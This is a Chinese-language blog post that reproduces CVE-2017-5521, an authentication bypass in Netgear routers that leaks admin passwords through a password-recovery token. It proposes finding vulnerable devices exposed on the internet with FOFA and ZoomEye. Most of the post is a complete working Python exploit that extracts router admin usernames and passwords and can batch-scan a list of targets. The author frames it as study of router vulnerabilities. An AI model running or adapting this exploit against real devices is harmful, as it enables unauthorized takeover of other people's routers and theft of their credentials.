NetGear认证绕过漏洞详细复现CVE-2017-5521

NetGear认证绕过漏洞详细复现CVE-2017-5521


0x01 前言

看到了一个好几年前的漏洞CVE-2017-5521,于是看了一下EXP,复现学习一下,并且分享一下自己复现的过程,顺便了解一下这个漏洞是如何产生的。

0x02 漏洞简述

SpiderLabs于2017年发布的漏洞, 用户访问路由器的web控制界面尝试身份验证,然后又取消身份验证,用户就会被重定向到一个页面暴露密码恢复的token。然后通过passwordrecovered.cgi?id=TOKEN获取到路由器管理员密码,此漏洞影响的设备,范围很大。

0x03 漏洞复现

虽然有的步骤不是很想写,但是为了照顾没看过我之前博客的伙伴,我还是一步一步的写下来,便于大家的理解。
首先,我们根据漏洞影响范围中的一款设备通过FOFA,Zooneye搜索"WGR614v10",寻找相应的设备来进行测试,当然有真实的路由器那就跳过这一段吧,QAQ.
NetGear认证绕过漏洞详细复现CVE-2017-5521_第1张图片
大家有没有仔细看漏洞描述,用户需要访问路由器的web界面进行登录验证,当身份验证取消后,会被重定向一个有Token的路径中。EXP在最后,大家后面再看。
接下来使用burpsuite拦截路由器请求身份验证的数据包,然后进行Repeater,大家就会发现会产生一个401的验证错误的response。但是里面有一个id,这个id的值就是我们需要的Token.
NetGear认证绕过漏洞详细复现CVE-2017-5521_第2张图片
提取拿到的token,将token拼接到’passwordrecovered.cgi?id=Token 中,发送到路由器中,就可以获取路由器web管理员的密码,如下图所示:
NetGear认证绕过漏洞详细复现CVE-2017-5521_第3张图片
然后用获取到的用户名和密码进行登录即可抵达管理界面。
NetGear认证绕过漏洞详细复现CVE-2017-5521_第4张图片

0x04 EXP

以下是此漏洞的EXP

## netgore.py
import sys
import requests

def scrape(text, start_trig, end_trig):
	if text.find(start_trig) != -1:
		return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
	else:
        		return "i_dont_speak_english"
 
def exp1(ip,port):
    #disable nasty insecure ssl warning
    requests.packages.urllib3.disable_warnings()
    #1st stage - get token
    # ip = sys.argv[1]
    # port = sys.argv[2]
    url = 'http://' + ip + ':' + port + '/'
    try:
        r = requests.get(url)
    except:
        url = 'https://' + ip + ':' + port + '/'
        r = requests.get(url, verify=False)
    model = r.headers.get('WWW-Authenticate')
    if model is not None:
        print("Attcking: " + model[13:-1])
    else:
        print("not a netgear router")
        #sys.exit(0)
    token = scrape(r.text, 'unauth.cgi?id=', '\"')
    if token == 'i_dont_speak_english':
        print("not vulnerable")
        #sys.exit(0)
        return
    print("token found: " + token)
    #2nd stage - pass the token - get the password
    url = url + 'passwordrecovered.cgi?id=' + token
    r = requests.post(url, verify=False)
    #profit
    if r.text.find('left\">') != -1:
        username = (repr(scrape(r.text, 'Router Admin Username', '')))
        username = scrape(username, '>', '\'')
        password = (repr(scrape(r.text, 'Router Admin Password', '')))
        password = scrape(password, '>', '\'')
        if username == "i_dont_speak_english":
            username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', ''))
            password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', ''))
    else:
        print("not vulnerable becuse password recovery IS set")
        # sys.exit(0)
        return
    #html encoding pops out of nowhere, lets replace that
    password = password.replace("#","#")
    password = password.replace("&","&")
    print("user: " + username)
    print("pass: " + password)
 
 
 
 
def exp2(ip,port):
    #disable nasty insecure ssl warning
    requests.packages.urllib3.disable_warnings()
    #1st stage
    # ip = sys.argv[1]
    # port = sys.argv[2]
    url = 'http://' + ip + ':' + port + '/'
    try:
        r = requests.get(url)
    except:
        url = 'https://' + ip + ':' + port + '/'
        r = requests.get(url, verify=False)
    model = r.headers.get('WWW-Authenticate')
    if model is not None:
        print("Attcking: " + model[13:-1])
    else:
        print("not a netgear router")
        #sys.exit(0)
        return
    #2nd stage
    url = url + 'passwordrecovered.cgi?id=get_rekt'
    try:
        r = requests.post(url, verify=False)
    except:
        print("not vulnerable router")
        #sys.exit(0)
    #profit
    if r.text.find('left\">') != -1:
        username = (repr(scrape(r.text, 'Router Admin Username', '')))
        username = scrape(username, '>', '\'')
        password = (repr(scrape(r.text, 'Router Admin Password', '')))
        password = scrape(password, '>', '\'')
        if username == "i_dont_speak_english":
            username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', ''))
            password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', ''))
    else:
        print("not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again")
        return
        # sys.exit(0)
    #html encoding pops out of nowhere, lets replace that
    password = password.replace("#","#")
    password = password.replace("&","&")
    print("user: " + username)
    print("pass: " + password)
 
if __name__ == "__main__":
    if len(sys.argv) > 1:
        ip = sys.argv[1]
        port = sys.argv[2]
        print('---------start------------')
        print('target',ip,port)
        print('---------exp1------------')
        exp1(ip,port)
        print('---------exp2------------')
        exp2(ip,port)
    else:
        f = open('target.txt')
        for line in f:
            line = line.strip()
            l = line.split(' ')
            if len(l) > 1:
                #print l
                ip = l[0]
                port = l[2]
                print('---------start------------')
                print('target',ip,port)
                print('---------exp1------------')
                exp1(ip,port)
                print('---------exp2------------')
                exp2(ip,port)
        f.close()

EXP运行方式 python exp.py IP PORT

0x05 总结

学习路由器漏洞挖掘的第一步,首先要进行路由器漏洞的复现,找出其问题所在,然后再去学习路由器的其他构造。

名不显时心不朽,再挑灯里看文章

你可能感兴趣的:(一无所知的渗透)